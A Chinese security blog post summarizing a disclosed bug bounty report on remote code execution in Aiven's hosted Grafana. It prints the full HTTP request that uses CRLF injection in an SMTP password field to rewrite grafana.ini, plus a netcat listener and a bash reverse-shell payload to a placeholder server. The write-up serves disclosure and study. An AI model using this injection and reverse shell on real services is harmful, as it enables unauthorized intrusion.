通过修改grafana配置文件实现RCE

admin 2024年2月15日18:08:31评论24 views字数 1334阅读4分26秒阅读模式

分享一篇关于RCE(远程命令执行)的漏洞报告one.com/reports/1200647

背景介绍

  • Aiven是一家在云上提供数据库和消息服务等托管的公司。漏洞报告者jarij发现Aiven的Grafana服务存在RCE漏洞;

  • grafana的配置文件是grafana.ini,grafana-image-renderer是grafana关于图像的一个插件;

测试过程

  • Aiven控制台创建Grafana实例 ;

  • 在自己服务器上开启netcat监听:nc -n -lvp 4444

  • 向grafana实例发送以下请求,添加smtp配置

PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1
Host: console.aiven.io
Connection: keep-alive
Accept: application/json
Authorization: aivenv1 AIVEN_TOKEN_HERE
X-Aiven-Client-Version: aiven-console/3.5.1-1104.g2809991854
Content-Type: application/json
Origin: https://console.aiven.io

{
  "user_config": {
      "smtp_server": {
          "host": "example.org",
          "port": 1,
          "from_address": "[email protected]",
          "password": "xrn[plugin.grafana-image-renderer]rnrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
      }
  }
}
  • 发送请求后,服务器会解析smtp相关参数并保存到grafana.ini文件中,由于后端支持CRLF符,所以在密码字段通过注入CRLF,可以添加grafana-image-renderer插件的配置,实现效果应该如下所示:

    # grafana.ini配置文件
    [smtp]
    host=example.org
    ...
    password=x
    [plugin.grafana-image-renderer]
    rendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
  • 这样就通过修改配置文件启用了grafana-image-renderer插件,并在rendering_args参数注入攻击代码。代码执行时会反弹一个bash shell连向自己的主机,其中$IFS起间隔符号的作用;

  • jarij最终获得5000美元赏金。

声明:所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,作者不承担相应的后果.

原文始发于微信公众号(薯条机器猫):通过修改grafana配置文件实现RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日18:08:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过修改grafana配置文件实现RCEhttps://cn-sec.com/archives/2217711.html

发表评论

匿名网友 填写信息